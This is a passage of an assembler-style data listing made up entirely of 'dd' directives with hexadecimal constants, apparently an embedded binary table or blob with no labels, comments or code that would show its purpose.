		dd 0A272F03h, 0E1F810C8h, 0D302B00h, 0EF4155A9h, 2DD500B0h
		dd 0D3B11994h, 3C031532h, 33527B12h, 0E117E36Ch, 5EE83407h
		dd 0CDF15898h, 8FE5300h, 0EC1EFF26h, 91FD1400h,	65C2ADE1h
		dd 47823B42h, 6E32EE80h, 0CB135C7Ch, 0AC841000h, 0D99CA548h
		dd 0A62D0042h, 2985E80Ch, 36FA4430h, 0B8310800h, 2371409h
		dd 0CC240764h, 0D0951A52h, 9BA9BDC5h, 92D7B700h, 0E7E3104Dh
		dd 776A3A1Bh, 7D249500h, 4C568F01h, 0E45C0C00h,	401563A6h
		dd 0C5D90050h, 2C8B2943h, 0B4014E93h, 7410623Ah, 3FE8B514h
		dd 19A30FC2h, 31270A2Bh, 0F037E771h, 12A6BA1h, 723A630Fh
		dd 6469F2h, 8230B07Dh, 43AA1EB6h, 0E889006Dh, 9EEA85EFh
		dd 0C3E33400h, 0C0BBB121h, 31AA3A35h, 0F184B303h, 0C3A51F04h
		dd 3BA80628h, 3A3064A0h, 9160FE09h, 7522306Ch, 8EAA6860h
		dd 0E4DAF200h, 80142E66h, 0D4503AC0h, 1F096A81h, 0E55185CEh
		dd 0EAE7EC89h, 835D8200h, 0FECA522Dh, 0C7B900AAh, 1015944Fh
		dd 88002A93h, 28AB5168h, 1F83F0B4h, 0F10C6Dh, 0EC174BEEh
		dd 6500E035h, 62C45EE1h, 0FE4E344h, 9514E589h, 29F3620h
		dd 0FA00A2BBh, 488858B5h, 2B082Ch, 940183Ch, 0AA49FFB0h
		dd 7393C500h, 5328BF07h, 641500C3h, 99200634h, 2B0578DDh
		dd 5B5C1189h, 60A478C2h, 30AEB15h, 0EC4502FAh, 0ADD85852h
		dd 3B004683h, 0FFAE6787h
		dd 581849B9h, 0BE3E568Fh, 0F8712ACh, 96C0A938h,	2C52D426h
		dd 702AE309h, 0B6A83E4h, 3EEF9011h, 0CEB8001Ah,	8F748D2h
		dd 0AF982792h, 371D64F4h, 74ECAC16h, 9880C21Ch,	0A5349714h
		dd 7D2D0F72h, 19404312h, 0EC9E3937h, 0A446A00h,	0CE64AA58h
		dd 5F8500D0h, 3C3DC93Fh, 0AD39DE9Fh, 75138059h,	508388EBh
		dd 0A4C700AAh, 152553C6h, 2D004FF3h, 791E3AFCh,	9A5BF8h
		dd 1241FE5h, 0AF11E459h, 0D0033D00h, 708498A4h,	0FEF28Fh
		dd 736B6FF2h, 8CAA5524h, 8E749001h, 5E9219A7h, 2785F8h
		dd 8503D10h, 2F0C2E64h,	48F83E0Ah, 8F00CDC6h, 5F4452B8h
		dd 190A00E5h, 0AFF49940h, 0CD3A7180h, 0C2248012h, 826F8A62h
		dd 796E1DA6h, 85550303h, 2EB1215Eh, 0A580F056h,	10658100h
		dd 29DF4131h, 3D8F774Fh, 46002FC6h, 97A323Fh, 0C500249Ch
		dd 0E8842B54h, 40B3F7h,	37181665h, 53429AFBh, 1331EA0Eh
		dd 5F0E67EDh, 263A62C0h, 1493008Dh, 97103644h, 0D6755420h
		dd 0F3619801h, 453B92DEh, 40CC32E9h, 4333CA9h, 0A126B700h
		dd 29CA5C91h, 862B5B01h, 141CF92Fh, 0C62D30h, 0FBA1FE45h
		dd 83C22D7Fh, 400EBF8h,	6A762170h, 136FCA5h, 75323C48h
		dd 0C8180C24h, 0AE0F1499h, 0E0232091h, 100EEB29h, 0F09004Bh
		dd 12AFAA95h, 0AC38C21Fh, 47F20079h, 4402652Ah,	407009F5h
		dd 0DA8006F1h, 22F77ED2h, 1C1DE2FEh, 0B3262D45h, 91BDC600h
		dd 687130h, 33485E79h, 0FA8A4FFCh, 28A97B00h, 39261980h
		dd 2F7400F5h, 5DF45FC4h, 2200915Eh, 0F86594CAh,	0E8CEB09Ah
		dd 0E6B89Dh, 9C14B218h,	2A0B24C3h, 0B0790800h, 8DFC5309h
		dd 7D4EA48h, 5BC3048Ah,	212450DDh, 0D200AAB7h, 0DB94719Ch
		dd 6F5F44Bh, 0B23A4BBh,	0C20098D1h, 3E988ACBh, 802113h
		dd 7426C084h, 87ABF417h, 31A9CF02h, 8FA7FABFh, 76FCC086h
		dd 0B42CDADh, 3D023267h, 48662A80h, 3F0044C4h, 2893DB49h
		dd 3B5638A1h, 539DB732h, 3E8647Fh, 2018421Ch, 9F0243A8h
		dd 3D90A13Dh, 0FF93EC8h, 20BCD91Eh, 41B1D44Fh, 11010033h
		dd 0A4400343h, 6700DE34h, 0D8B4D753h, 88FC3Fh, 0DAAD330Ch
		dd 24CDC029h, 0F753FE00h, 1CA7A5D2h, 3E500195h,	91DFC8A8h
		dd 0B24460B5h, 55AFF39h, 17314FEBh, 6A697F80h, 5B301E21h
		dd 63FC09Eh, 56846B4Ah,	0D3A38B2Ch, 0D044CF07h,	32EB6D70h
		dd 40B20007h, 343F0937h, 26002D1Fh, 18465698h, 0F48071B5h
		dd 0CC020035h, 0EE4CDA24h, 40001E09h, 8339B045h, 0D5CFAAh
		dd 0A81AC91Ch, 0BBA5EDDAh, 5A962F0Eh, 0D748C0A4h, 0F3FE63Ah
		dd 35252991h, 0C717BB60h, 1D006434h, 0A2D3D2E2h, 0E14F6Ah
		dd 0B345233Eh, 20A9840Ch, 0E4EC3Ah, 0AA5382B6h,	4C092293h
		dd 0B00FFBADh, 4FAF8157h, 0C010DA47h, 0F8BC1F2Ah, 9E031BB8h
		dd 79BF4A85h, 6425A0FBh, 0A60C0F17h, 758F9339h,	7DD8C560h
		dd 0ED7A8D35h, 0E4A83700h, 0D6561CCEh, 636E2A1h, 3465401h
		dd 76007662h, 0E8028891h, 30D7B5Ah, 707E843Bh, 0F0F77A85h
		dd 0AC758224h, 0D1E62798h, 9F952200h, 0D12A4FCh, 7A340047h
		dd 0E804C8B9h, 7E3CC0ADh, 8770808Eh, 4DBEE269h,	54F20E3Eh
		dd 9767FC24h, 8BA4D08Fh, 76072B5Ch, 0B5BCC025h,	0B752B620h
		dd 0F0F6F1h, 0D092717Ah, 0FE81385Ah, 13DF8C00h,	883F0848h
		dd 0A58B01B0h, 5E956B77h, 0BBBD3092h, 0D3005BF0h, 2704F3F0h
		dd 11B974h, 9669508Ah, 1729BBC4h, 587CC80Bh, 0FBCF0048h
		dd 3EED805Ch, 0FD00C74Eh, 35BFC195h, 320009E5h,	0E1731E82h
		dd 85CA3Bh, 54862F07h, 109E6AE7h, 37B47E01h, 4E05ACBEh
		dd 0B16FE8C7h, 393B3827h, 7822F980h, 0BF8EC59h,	6A3A401Ch
		dd 0C38C49C0h, 2AFE909h, 97B4ED7Ah, 11601674h, 2FE21CC7h
		dd 0B1283C00h, 0DF1ECBF9h, 0AD3D00DDh, 8AFA2730h, 653A22D2h
		dd 34F49E60h, 9FCF3B40h, 961152h, 0FF8E2E25h, 553C0310h
		dd 0AF04E4E5h, 1B0061F2h, 0D5A71477h, 37F4062h,	0A23F9A2Ch
		dd 0C590832Eh, 9D054B6Ah, 0C35691Fh, 455ACD00h,	0E79117h
		dd 324A8110h, 22C2098Fh, 0EFB8B000h, 0D6E22EFCh, 0AEEE00A7h
		dd 5F74DADFh, 6A00B945h, 0BA8D4CD5h, 1BDE453h, 0D6F8A032h
		dd 0CC653B40h, 0C8168E4Bh, 6603B809h, 88C9172Fh, 16D1CD99h
		dd 0CF27A9h, 0D3672D0Fh, 4B00246Ah, 0C73D9C15h,	388712h
		dd 0E1B5358Eh, 207B3AD8h, 3C5A101Ch, 0A14C2FCFh, 0EA9E0942h
		dd 0C732D8h, 14FB89B0h,	3CDDA53Ah, 0A75DD901h, 932156D8h
		dd 0B795A0E3h, 20B80010h, 8CBF553Dh, 7E0007F8h,	407D42FDh
		dd 505AA41Fh, 722BF1DAh, 25180EA7h, 8CE0336Dh, 0C81E1479h
		dd 47895C00h, 9298714Dh, 4ED51D64h, 7D2E40F1h, 0E637DA78h
		dd 46B9C400h, 4B363A3h,	0BCB41CD0h, 0DDCEC0ECh,	0E06F25DFh
		dd 7668EA0Fh, 603E4E20h, 3B644E2Bh, 487109h, 22759166h
		dd 0A9944487h, 15BD8900h, 79566AA8h, 3A430913h,	5900DBB3h
		dd 0A2580693h, 1D52FB00h, 9E947E59h, 1E3600F5h,	0CB349525h
		dd 0AA003308h, 0A7E4C068h, 0F27AC322h, 2BE00051h, 6B0D85E6h
		dd 0B03F1F6Ch, 6919DA4h, 0F64C880h, 4815F4CAh, 0C4002940h
		dd 24269DF7h, 8D00090Ah, 6B5867EBh, 0E106F0h, 86C403AFh
		dd 912C2040h, 2A621D01h, 4F28023Fh, 0B866F8h, 0A2F49C92h
		dd 1C575E09h, 0DF956700h, 729A3F2Eh, 0A1651C96h, 0B2444140h
		dd 70CAFDE2h, 1A07551Bh, 74B66068h, 8C9C9ED0h, 0B99D0042h
		dd 0C8596D4Eh, 38C01CECh, 0CAFC4F7h, 54D20050h,	2C634585h
		dd 4100723Bh, 154A0B4Fh, 355ECBh, 70AC4EA8h, 5FD5BD1h
		dd 95796406h, 90740B9Dh, 11FEE7h, 2DAD3FB5h, 0A66E64E7h
		dd 0A410500h, 0E3AFB666h, 3C6AF609h, 0F300FCBBh, 1354B0Bh
		dd 9800FAC6h, 0C046D13h, 901C4E06h, 0A4AA0075h,	8DB8F011h
		dd 2400640Ah, 0F243AB04h, 15007DEh, 0FF5F6AFBh,	0DC45E2DDh
		dd 0B80BF7B9h, 80CE9504h, 0C451611Ch, 3DBA0EA4h, 0AE7C5F0h
		dd 386A8088h, 3C039964h, 0A0108DA8h, 0D10B1DACh, 423483F2h
		dd 14D8B2D8h, 0EF486A4Eh, 27400086h, 96554152h,	4D050775h
		dd 0A054BA08h, 0FC7328BBh, 68008C74h, 6B2F135Ch, 4E5142h
		dd 0D55247C2h, 0DE9DA396h, 43DA4100h, 77A98F27h, 2DAC00C5h
		dd 3A1DA6DFh, 7E009D30h, 0D76967EDh, 13CA6Eh, 588DBADh
		dd 847D8351h, 76818700h, 0A19BCCB8h, 2D900089h,	98F50CE6h
		dd 0D7975F4h, 0BB167B00h, 310157FDh, 0C353064Bh, 662230EBh
		dd 130073B8h, 90FA0681h, 53B858h, 0AB2CDC59h, 30680D1Eh
		dd 3E25E93Eh, 0FC059C73h, 0EFC350C1h, 70E4BDB3h, 0F2213EB5h
		dd 34232CFFh, 0CD00F37h, 604485A7h, 31382433h, 80522831h
		dd 54E41940h, 87C99h, 144B2C11h, 7955A41Ah, 74A17D07h
		dd 8B9303E8h, 0F60AB024h, 0B35300DDh, 5010255Bh, 0BEE60D5h
		dd 0E2308300h, 9750E01h, 487E00FFh, 0A7521AA1h,	400D50Ch
		dd 62BEE0DEh, 8153A0h, 438FE831h, 3325D16Bh, 0E909D275h
		dd 0EBB4B47h, 0C8EF80D3h, 0EF26610h, 0B40A657Bh, 0AF80FEEEh
		dd 5312EC43h, 295EEF0Eh, 7206803Ah, 7BA2EAh, 7885463Bh
		dd 0FAFFD11Ch, 0D76C0E03h, 80FE4F0Fh, 472A7Ch, 7E8BF633h
		dd 62C074C6h, 52605307h, 0D1B77718h, 0C297BC0h,	12440F9Fh
		dd 0CC20F804h, 1A4626FFh, 0D9754F01h, 0A4DC4381h, 7FF59AE8h
		dd 1C2C072Ah, 30D6AB18h, 373FE828h, 1AC758h, 0EC99EA24h
		dd 5FA858h, 264C4442h
		dd 5B2DAF53h, 0E094D500h, 3B1C98C4h, 74F9A0BEh,	547300ECh
		dd 3ED6AA20h, 5198E2C1h, 5F184300h, 89652E7Ah, 545E0B24h
		dd 360040D0h, 0E40594B1h, 7E75D40Eh, 81CC3A1h, 4842C020h
		dd 50EEA6h, 19D0DC7Ch, 0D3245303h, 70463700h, 18C2A028h
		dd 1834FA89h, 5A12FF82h, 0FC00AF74h, 5F39DB31h,	0D8E2B0h
		dd 7E1DFD94h, 7CF60542h, 82000EE6h, 680AA21Ch, 974A18h
		dd 40A5EB63h, 37148D3Eh, 4BC23B00h, 0B2D6FB7Dh,	0EE7717h
		dd 910C1867h, 0C7D7C6B7h, 0AFC8A500h, 7F95A215h, 0B0040017h
		dd 82D4BC92h, 1C007B29h, 0E0E8515Fh, 0F303231h,	330A440Dh
		dd 9B0C960h, 3B02010Bh,	67D1C50h, 49DB608Bh, 9076010Ch
		dd 78C3C129h, 7EB8304Ah, 5A8C081Dh, 7F56CA40h, 1749BBh
		dd 48DA1A32h, 71546CB9h, 731F9E7Bh, 3D817256h, 75D13C89h
		dd 868042BCh, 2C438890h, 9C71BE97h, 4548CB00h, 58FDAD80h
		dd 0CA1F2820h, 0E81201E8h, 94684693h, 7034E4D8h, 7E0E37F6h
		dd 0E0B7C11Bh, 0FED74E97h, 0F7C0302h, 6D3D7AF5h, 601F4DF8h
		dd 0D2F13304h, 3F822D37h, 88B3638Ah, 0FA092h, 2808FD16h
		dd 0E29C5E48h, 0FE00187Ch, 24B6BA8Ch, 4E99E1h, 3172403Bh
		dd 20A621EEh, 9028A900h, 8DFEF55Eh, 54BF001Eh, 51C4D9A0h
		dd 4470AB0Fh, 1C4BFF00h, 38BB5D9Dh, 0FEA7132h, 7607B91h
		dd 149500D7h, 0AAD504F0h, 0F7303Bh, 5BDE97D1h, 107EB8Bh
		dd 5DC9CAD4h, 0E8871067h, 0D50027E9h, 18D02325h, 2EDAED84h
		dd 3F70A56Ah, 46FDC580h, 8E4769EAh, 0C3A1F400h,	838006C6h
		dd 5198FFh, 0EF37107Eh,	0C4AA142Ah, 638A5D0Fh, 351E977Ch
		dd 2FB42480h, 43D2D9h, 0CED555Ah, 70571908h, 871D79FAh
		dd 54CF2088h, 803C004Ah, 638A551h, 58A2B891h, 89000B15h
		dd 88BC461Eh, 0EA4E5690h, 1877F2h, 0EB1AC0Ah, 772E6D41h
		dd 706A6200h, 7899DF60h, 14510010h, 22836350h, 7D5C4161h
		dd 73760E0Dh, 0BF67606Eh, 44704Eh, 680E4A19h, 47667157h
		dd 407C4100h, 6E727660h, 4CE900F9h, 6BC47ADDh, 6409F07Fh
		dd 80A66974h, 534018CFh, 48770061h, 0B37C577Dh,	4E019046h
		dd 7BE16ED3h, 62F89E67h, 8E700EF9h, 0FF1C1743h,	826C6F1Fh
		dd 603B7165h, 731ECBC0h, 5F697D02h, 0E09EBE44h,	1E20AA15h
		dd 800E1343h, 522A6670h, 71000C9Bh, 0EE4A7A73h,	0F888DE65h
		dd 1243001Ch, 3637E72h,	61776D55h, 0B0604A00h, 0F07C6462h
		dd 67700166h, 460E4486h, 5276EC0Ch, 45B0711Ch, 743961C2h
		dd 6EF6E063h, 0C7D81DADh, 66F1404Dh, 76CC6A4Fh,	77146400h
		dd 0A288477Fh, 0C12A000Dh, 2E54720Ch, 4B000E73h, 0EA6F4363h
		dd 581862h, 6C1C6847h, 77875166h, 31706B00h, 1D466365h
		dd 74487140h, 1F077972h, 80615167h, 74945527h, 88070F28h
		dd 4AE36F54h, 6E40E29Eh, 0D373E06Bh, 429E0078h,	13048FEh
		dd 6A0E654Bh, 0C7636961h, 0D3E128C0h, 87C421FBh, 0F860F834h
		dd 681E009Fh, 486E38BFh, 95073052h, 1447CA1Ch, 3741150h
		dd 61670046h, 60886376h, 8BA05677h, 6D000A62h, 7AA87D66h
		dd 0E851F0A1h, 0AD210070h, 296F3A30h, 0E0FE626Bh, 9E68573Eh
		dd 0EA0BE276h, 24C8045h, 3140E65h, 1830A560h, 48B07742h
		dd 0B6006C63h, 74417289h, 613A71h, 1C0696Bh, 7A7B6DCBh
		dd 0B7C24400h, 5A0D10DCh, 0E01C7AE1h, 0B82A0175h, 0E639C31h
		dd 0A92FC8B9h, 80B3C400h, 7E2ABB5h, 84CB00A4h, 0A642143Ch
		dd 0BC009996h, 642D45E5h, 382ACEh, 7B2B4CE4h, 406A0B86h
		dd 0BB505Ch, 44A19946h,	7D0D3951h, 14101E15h, 67FC80C3h
		dd 28B4C28h, 3D00F00h, 0C2203C50h, 17403AF6h, 21742B80h
		dd 1CA73E16h, 0BA98FF00h, 61C40775h, 1D4775F7h,	0C2D1658Bh
		dd 0AC95C031h, 0E35E4DE0h, 51291800h, 1B147945h, 0D2380457h
		dd 81E7E0FBh, 60F1FFD3h, 24007CB5h, 2D46DD69h, 0EBFF497h
		dd 0D55349Fh, 0F7A42520h, 9178C912h, 14B8801Fh,	8C850F00h
		dd 0F2AEB19h, 0CE906544h, 7481644Fh, 71830E54h,	0D020CD66h
		dd 1A004240h, 122E3C32h, 262FE175h, 1C8FD16Dh, 0E861C085h
		dd 0E6AC4A5Fh, 1A552800h, 23224653h, 71110E44h,	528033B2h
		dd 35752B03h, 19998D00h, 0BE15811Dh, 0D0FA00A4h, 53451BACh
		dd 9000C343h, 4ECC175Ch, 0B140A8h, 100E5BE5h, 0ECF17A24h
		dd 28B80AEEh, 58A01A00h, 1BE82654h, 8BA71D76h, 0BED10069h
		dd 0AE173B19h, 18F58900h, 0C35B02D6h, 884E0055h, 3B975E9Dh
		dd 0C000F2DFh, 0A5CBDB1h, 7A768B25h, 0AA830E12h, 5A204E7Eh
		dd 7AD026BEh, 2844B51Fh, 1100B8D3h, 0FC5D8E40h,	335C2C8Ah
		dd 183A0043h, 1B10475h,	3FE9EB00h, 84ED1C80h, 1DF807C9h
		dd 0F0C2FE9Dh, 7A325434h, 0A556EC00h, 93FAB2AAh, 8F8100AFh
		dd 0C84BBA75h, 0EA00C434h, 4F7DF7FEh, 25378AAh,	8CA82F21h
		dd 436084DBh, 0FC7A46E9h, 930157F0h, 0C40C21CCh, 0B8C7C890h
		dd 1C248D4Ah, 0C0BD86F0h, 511216FDh, 0FF7D42B9h, 10FBA100h
		dd 88FEF822h, 0DFE90F41h, 0B3473E6Ch, 0EBA5815Eh, 0F0BAF0B4h
		dd 0CCB70100h, 0BDBFE02h, 8B170074h, 4ABF5CC3h,	760F09F8h
		dd 545DF0Ch, 0FB80EB0Fh, 2D6995h, 0E885D959h, 49BA1E37h
		dd 5DCCC300h, 0F07D833Ah, 0EBF93D10h, 365097h, 0D9028E0Fh
		dd 0C80F6CADh, 40160615h, 0EA9674Ch, 11758Dh, 0B7987827h
		dd 0C514D885h, 3C958700h, 0A15DAF9Fh, 8D5601B1h, 43CF49B5h
		dd 1B2480C4h, 0CDC340B9h, 47823C5Eh, 1B66A12h, 7F17FB56h
		dd 851EC422h, 0BC49403h, 0D0763F0Fh, 0F4BA3437h, 8C310053h
		dd 1CEB7FD8h, 0C02C3C90h, 27002784h, 558BF1B8h,	0EF360006h
		dd 26DC4522h, 0E8000A10h, 82D4BF3h, 32FEF4h, 8A2FEC2Eh
		dd 0D76219D6h, 830003E6h, 8EC1A5F8h, 14546C6h, 6EB029DEh
		dd 0C8305399h, 2600567Eh, 82502D13h, 259C7DDh, 44B3D375h
		dd 0D3C095BAh, 400A58Dh, 4FF53FEAh, 8C7CFFh, 42297AE9h
		dd 34288B01h, 0F0210407h, 0C70515Eh, 15F4F48h, 9B5A0F7h
		dd 0D8FE3020h, 603C3E57h, 6C5E8051h, 11790114h,	4A0F00D6h
		dd 55D0DCE9h, 743EBD56h, 2BDA80BCh, 40722EBh, 8053B84h
		dd 12410C01h, 0E028C310h, 0F600D311h, 1CBA2F13h, 3455251h
		dd 87A2EBC6h, 0E4A0BFE5h, 0AC00F24Fh, 6C7E8086h, 1A7434h
		dd 512F822Ch, 0CEB5E4Bh, 800377Ah, 0ABC66F8Ah, 0BA91C93h
		dd 0CEAF8B5Ah, 90D35707h, 16B5D1FDh, 0DDAEFC00h, 0DA96AF4h
		dd 1BEE004Eh, 0ECB34F89h, 0C0047D8h, 0B45EBD03h, 0D224BFh
		dd 60923949h, 9F6BE41h,	32E6B07h, 9E30E4BCh, 0D31840h
		dd 244C283h, 0DCA12550h, 805D203Eh, 80D0FF04h, 6583F0h
		dd 0B106FE3Bh, 76BE695Bh, 6EC0FA00h, 73BF1210h,	0E333000Ah
		dd 0D854045Fh, 0A90352EBh, 257435A4h, 6D069022h, 905A007Fh
		dd 0E99527C3h, 8900AAFFh, 821B4E42h, 0EC0257EBh, 0B8D3F5D6h
		dd 5098F23h, 12D5BEDBh,	0B4B00092h, 837825E9h, 46EC600h
		dd 0E0EB72B6h, 7C75038Eh, 14AEA1A8h, 0D99548A0h, 0EE000E4Eh
		dd 279F2838h, 16770756h, 0E7EB2DB4h, 0D92A62F1h, 0CF228E60h
		dd 0CEFA3300h, 63B87924h, 76DA0049h, 0D428B921h, 0B7007599h
		dd 432FD9B2h, 2356A7h, 464592EEh, 690C16EBh, 30B3B00h
		dd 24CF2BCAh, 0DF8A006Fh, 0AE4927Ch, 0A000275Fh, 91F333Ah
		dd 0F383C50Ch, 0D8C8E931h, 1E993EB5h, 82920E00h, 0EB68422Bh
		dd 75014F00h, 3C6D2859h
		dd 96E60025h, 0D4DDC30Ch, 80072089h, 1DC0267Bh,	0B50098B7h
		dd 437EE0h, 0F5AC921Bh,	0B0C1D73Bh, 450C532Ch, 0EFC25000h
		dd 437FC6h, 2856A9F9h, 8F7D0EEh, 0A8517A00h, 2DA6D3AAh
		dd 8C4D005Dh, 0BF156726h, 13007387h, 3FE5F685h,	7031188h
		dd 0A4BC625Ch, 0E08DF7AEh, 0A9841D6h, 8024683Eh, 0FA92A97Dh
		dd 0F4C5E5A6h, 19640F34h, 0A500A8BEh, 358498F2h, 28033372h
		dd 9D863210h, 0E628039h, 7A2C1D11h, 8158CA2h, 2B7D4F0Ch
		dd 28783F03h, 0A90C5820h, 63C510AFh, 75D0EC0h, 0D7B153C5h
		dd 294E00B7h, 3E037654h, 7D7A47D2h, 717CF190h, 609825E0h
		dd 8563822Fh, 6B006E96h, 0EC3DFB4Bh, 1E4C52ACh,	0EEAFF5DBh
		dd 2EDC0941h, 3752880h,	0D7B850B3h, 6899D500h, 2C78B22Fh
		dd 49F2015Dh, 0E27BCDE1h, 0A391F004h, 1253430Fh, 4EA2A0F0h
		dd 29C6F5h, 4138DA0Ch, 0C7FD04D8h, 4FEC3F00h, 1E4319DFh
		dd 0C3E809D6h, 880CA07h, 1AC11BC9h, 21B9F58h, 9C18153Bh
		dd 1254E047h, 0C550001h, 9FAD0575h, 161F8AF4h, 8414258h
		dd 1A91CB03h, 0AF46FCh,	0B454BF2Ah, 0D5E868E1h,	0B9CC8900h
		dd 8D6C2730h, 527E003Ch, 0A7EC044Bh, 0E400E85Bh, 104914D5h
		dd 0A0DA2Ch, 0B619890Ch, 0FAD0FB04h, 752D3C01h,	0E2F0D1F1h
		dd 721C64D8h, 0CC7B0024h, 15D63479h, 0B3003E35h, 64658420h
		dd 384E3Dh, 0DC5B6C21h,	91879D68h, 0A4A22404h, 4EC09015h
		dd 71E4CB2h, 5C7AB3FAh,	0AC6607Eh, 0EB07EE47h, 0D7FFE215h
		dd 0DB497190h, 45170314h, 0A130306h, 2E77F098h,	48F0F2ABh
		dd 4A3E6FE5h, 816A3A8Ah, 0EBFEC134h, 9A70F31Ah,	0FF0A00C0h
		dd 0E4390855h, 0BAFE7347h, 0E0257F00h, 5ADEF7FBh, 45600728h
		dd 618A6543h, 0D94CD0A8h, 68E8EB85h, 4D9C7DE0h,	84A22C06h
		dd 1CD6EAC4h, 0C0096422h, 0BAF5784Ah, 0C400EB0Ah, 0B6E83C80h
		dd 4CC1E924h, 11DAEA7h,	0A9840003h, 8AB08805h, 0C0001CE4h
		dd 80CA8B2Eh, 7E690C1h,	0C7D31EE9h, 40FAE70Fh, 0E1040675h
		dd 72102C00h, 0B0368332h, 0FC3A0090h, 0FCCFD20h, 8100FB92h
		dd 83D02BB9h, 2CDD05EAh, 395280C2h, 65E8F980h, 488E3763h
		dd 308DEDE5h, 3A0E51B3h, 0BCC990A8h, 68A1C07h, 1757ED1h
		dd 0A0881FC0h, 0F2EB3CF2h, 4FC0032h, 5C9FB9EFh,	42006C4Dh
		dd 0FF54BB17h, 4722B87h, 46F302D8h, 0F880EE89h,	3E0313A4h
		dd 1D004D93h, 7601C71Ch, 0EBE09237h, 0E93C1703h, 0D00467C0h
		dd 3F052AC8h, 0EE82B14Eh, 8DABAF16h, 0CC7EC0DFh, 720904E8h
		dd 80F6D48Fh, 3DD3BD3Ch, 0D1242EFAh, 0C6006A71h, 1237E903h
		dd 2B9600AAh, 108DE776h, 3A0075B8h, 0C45420A7h,	1F2C0F3Eh
		dd 0C4097202h, 874A0CFAh, 0D0A3B0CAh, 2D008319h, 0B4CFCCE0h
		dd 66ED10h, 0F8AD68E7h,	851C7DA4h, 0CCF4423Dh, 7B301D4Eh
		dd 3F13DAEEh, 185C4D02h, 688E0E8Ch, 0DE26001Dh,	7DF8C549h
		dd 0D2E20300h, 7F242305h, 29700A1h, 0E0F9FDF2h,	0EE007EC9h
		dd 0BF82D8ADh, 0ABA3E8h, 0EB058567h, 0F516031Bh, 0CFD7EA00h
		dd 0B8AA5584h, 51271E91h, 0E8D04040h, 0B2566F20h, 7396DD05h
		dd 5580DF44h, 77FFA2h, 75CBFB59h, 534FC04Eh, 92747F24h
		dd 1800E024h, 0DE4BE810h, 9E140E12h, 68AF9608h,	0EB1E0AE0h
		dd 0D20B9349h, 803FB0A3h, 0A850EFE1h, 4A170094h, 7D5F32BCh
		dd 11008279h, 41C9945h,	3F1ADA0Dh, 130ED1F5h, 6C60B3C7h
		dd 45AB85D8h, 14934400h, 1A42F883h, 0AE7F7Fh, 47498476h
		dd 88D6CB55h, 23517100h, 54B88A3Eh, 37320025h, 3CD160B2h
		dd 5300F71Eh, 14421343h, 797AF1C1h, 0C89C0076h,	0EA2C7E4Fh
		dd 0F5004B1Eh, 8F8C04CAh, 4CBFA749h, 40001B32h,	0F8D7F484h
		dd 6500929Fh, 0D43DAF3Fh, 496659h, 0A9A44526h, 47441653h
		dd 0A69DAE18h, 0EC550Eh, 0ABF00798h, 3B06E98Ch,	75E89300h
		dd 0D9E23AE1h, 84503D4h, 0A7C77632h, 0FF96EBE0h, 4F127A1Dh
		dd 0AA39C4C0h, 24F46C58h, 3B184487h, 8130299Fh,	463B03D8h
		dd 0E43AE881h, 0AE1756FCh, 8500F1E0h, 342D220Dh, 85000CCh
		dd 0DED4BA04h, 0B400E542h, 6B1CDAB6h, 74AE9046h, 16A11F8Fh
		dd 7CA88E8Bh, 0CAFC5B60h, 920034F5h, 1C5815D1h,	0E3AC6Eh
		dd 8F433614h, 8C9C46A2h, 8A40F101h, 814A3B08h, 603D840h
		dd 428D0050h, 4D98EA0Ah, 2900E8F0h, 845E575Bh, 0A0D2754Bh
		dd 0CCED8Ch, 0F0BE481Ch, 0B3AE8C0Dh, 9AFC6A00h,	7FE7F353h
		dd 0F5DF03AAh, 7A8D7B58h, 22B5780Fh, 2FA4035h, 0F3F4CB8h
		dd 2FBF0142h, 53A22A00h, 33001034h, 6547E788h, 3D180C04h
		dd 0AB805249h, 41B26CECh, 0F586E34h, 70690052h,	37AF60A3h
		dd 2162005Ah, 1D6B400Dh, 0DB3B2B88h, 0C805003Ch, 0C4156550h
		dd 0BF77E9h, 0F12F40Ch,	95845D85h, 3C3E9A67h, 0C74E30C7h
		dd 43501C6Ch, 494E38h, 800EF8FCh, 7E9AD9Dh, 0EC007571h
		dd 0D43808FDh, 855FC9h,	5EB133A3h, 0BAA068FCh, 119E3202h
		dd 0C054DF08h, 7E14DE57h, 5C69006Eh, 4F77042h, 4F5C2A6Ah
		dd 300D1FD0h, 0B01C8700h, 1F625FD6h, 0E651C8h, 702EC949h
		dd 0A10378BAh, 0A3015785h, 954ED020h, 0D34900C4h, 0BAFD561Ah
		dd 541E4406h, 7B43A155h, 0B8503CB0h, 1CE00B04h,	80A80858h
		dd 5B4C53E8h, 0C400C98Bh, 0C62D4B9Bh, 0FE48475Ah, 706C0161h
		dd 0B8877B34h, 8350DDA1h, 3899940Fh, 42F397B2h,	430B07A0h
		dd 323CC8D1h, 6F000AD8h, 243D05h, 7728C342h, 6119CA17h
		dd 4015BA00h, 9504890Dh, 3C39EC6Dh, 0AC804582h,	0BE51C270h
		dd 0B8004929h, 0C61744BBh, 4A407Ah, 3BD2AF24h, 33F2B911h
		dd 0BCB37B16h, 0E4751600h, 0BB6FF5Ah, 0DB2493B8h, 302D6580h
		dd 0DC00EE0Bh, 0FB832E57h, 0A32259h, 5CDF1198h,	733DB092h
		dd 0DEA7021Eh, 9521E42h, 6821C013h, 1E50084h, 0C419FED5h
		dd 0BA0005C8h, 0CB5F4F1Ch, 2B82B54h, 0EAA2E809h, 0A2C1CA03h
		dd 30F1600Eh, 5F58A37Dh, 8BBF0094h, 0CCE8DDD8h,	24BA070Ch
		dd 0B0CF6D38h, 467154ABh, 8EC2130Eh, 0A0F12F10h, 204DE4E2h
		dd 3CF87708h, 22584354h, 0E80FEC00h, 945E6A0Dh,	41FD301h
		dd 1CBE6096h, 31FCBD40h, 4C5001C0h, 0A80E6802h,	7FAED4AAh
		dd 3FFFE400h, 0E6DE9481h, 10793CDBh, 0B881D53Ah, 6DFEBDAAh
		dd 3CC0200Bh, 500A6500h, 86EA015Eh, 55D404E1h, 80FF31F5h
		dd 40DEDDB3h, 51118300h, 5C196795h, 107F001Fh, 0FEFAF876h
		dd 0CF031896h, 0D6148E60h, 50FCF072h, 0D5380088h, 8702BFEDh
		dd 8D26559Bh, 0B300E052h, 507A366Ch, 0FE3500F6h, 0ADD66AF9h
		dd 5002818h, 47CA0CC1h,	4FC8D53h, 0C6297BDFh, 0F09587DCh
		dd 0A94FFD0Fh, 0EAE1AB00h, 0FCD4A7FEh, 3F750029h, 12E653FFh
		dd 0ECB064A4h, 3FF4FA4Ch, 0E9098082h, 22021845h, 0DB313D53h
		dd 0E5E8B780h, 0E2ABC8A0h, 3F61F600h, 750F09C3h, 5D7D07h
		dd 0B355565Ah, 0D14B1620h, 810CEA3Ah, 527333D6h, 0EB20077Fh
